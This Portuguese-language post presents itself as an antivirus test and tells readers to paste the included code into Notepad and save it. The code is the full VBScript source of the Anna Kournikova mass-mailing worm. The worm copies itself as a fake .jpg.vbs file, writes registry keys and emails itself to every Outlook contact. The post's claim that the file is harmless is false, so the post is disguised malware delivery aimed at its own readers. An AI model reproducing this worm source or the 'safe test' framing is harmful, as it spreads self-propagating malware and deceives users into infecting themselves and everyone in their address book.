TESTE SEU ANTIVIRUS.

TODOS SABEMOS QUE PARA NAVEGAR NA NET HOJE,É PRECISO TER UM BOM PROTETOR DE VÍRUS, CONTUDO NÃO BASTA SE MUNIR DE UM BOM ATIVÍRUS, SE O USUÁRIO NÃO TOMA CUIDADO COM OS ARQUIVOS QUE EXECUTA.PORÉM VALE RESSALTAR QUE UM BOM ANTIVIRUS É UM COMPONENTE FUNDAMENTAL PARA QUE POSSAMOS TER UM POUCO DE TRANQUILIDADE.
EIS AQUI UM TESTE,SE SEU ANTIVIRUS NÃO PEGAR TROQUE-O POR OUTRO, POIS É UM TIPO DE EXCULTAVEL DE VIRUS BEM SIMPLES.NÃO SE ASSUSTE,SE NÃO ACUSAR NADA PELO SEU ANTÍVIRUS É SÓ DELETAR O ARQUIVO MANUALMENTE.EM GERAL ELE NÃO FAZ NADA.
É SÓ SEGUIR...
COPIE O SEGUINTE TEXTO E COLE NO SEU BLOCO DE NOTAS, EM SEGUIDA SALVE COM TESTE.EXE, SALVE EM QUALQUER PASTA, MAIS LEMBRE-SE QUE SE NÃO FOR DETECTADO PRECISA SABER ONDE FOI SALVO PARA EXCLUI-LO MANUALMENTE.

'Vbs.OnTheFly Created By OnTheFlyOn Error Resume NextSet shellobject = CreateObject("WScript.Shell")shellobject.regwrite "HKCU\software\OnTheFly\", "Worm made with Vbswg 1.50b"Set filesystem= Createobject("scripting.filesystemobject")filesystem.copyfile wscript.scriptfullname,filesystem.GetSpecialFolder(0)&"\AnnaKournikova.jpg.vbs"if shellobject.regread ("HKCU\software\OnTheFly\mailed") <> "1" thenmail_trojan()end ifif month(now) =1 and day(now) =26 thenshellobject.run "http://google.com.br/",3,falseend ifSet wormfile= filesystem.opentextfile(wscript.scriptfullname, 1)payload= wormfile.readallwormfile.CloseIf Not (filesystem.fileexists(wscript.scriptfullname)) ThenSet newfile= filesystem.createtextfile(wscript.scriptfullname, True)newfile.writepayloadnewfile.CloseEnd IfLoopFunction mail_trojan()On Error Resume NextSet outlook = CreateObject("Outlook.Application")If outlook= "Outlook"ThenSet mapi=outlook.GetNameSpace("MAPI")Set addresses= mapi.AddressListsFor Each address In addressesIf address.AddressEntries.Count <> 0 Thencount = address.AddressEntries.CountFor I= 1 To countSet email = outlook.CreateItem(0)Set entry = address.AddressEntries(I)email.To = entry.Addressemail.Subject = "Here you have, ;o)"email.Body = "Hi:" & vbcrlf & "Check This!" & vbcrlf & ""set attachment=email.Attachmentsattachment.Add filesystem.GetSpecialFolder(0)& "\AnnaKournikova.jpg.vbs"email.DeleteAfterSubmit = TrueIf email.To <> "" Thenemail.Sendshellobject.regwrite "HKCU\software\OnTheFly\mailed", "1"End IfNextEnd IfNextend ifEnd Function'Vbswg 1.50b....apagar pontos e mensagem

PARA FAZER O TESTE APAGUE NO FINAL OS PONTOS E APAGAR PONTOS E MENSAGEM.
TIVE QUE COLOCAR ISTO, POIS O NORMAL É O INTERNET EXPLORER FAZER DOWNLOADS DE ARQUIVOS TEMPORÁRIOS, E PARA EVITAR QUE O ARQUIVO FIZESSE ALGUM EFEITO SEM SUA VONTADE AO ABRIR A PÁGINA FIZ ESTA MODIFICAÇÃO SE DESEJAR REALMENTE FAZER O TESTE É SÓ APAGAR.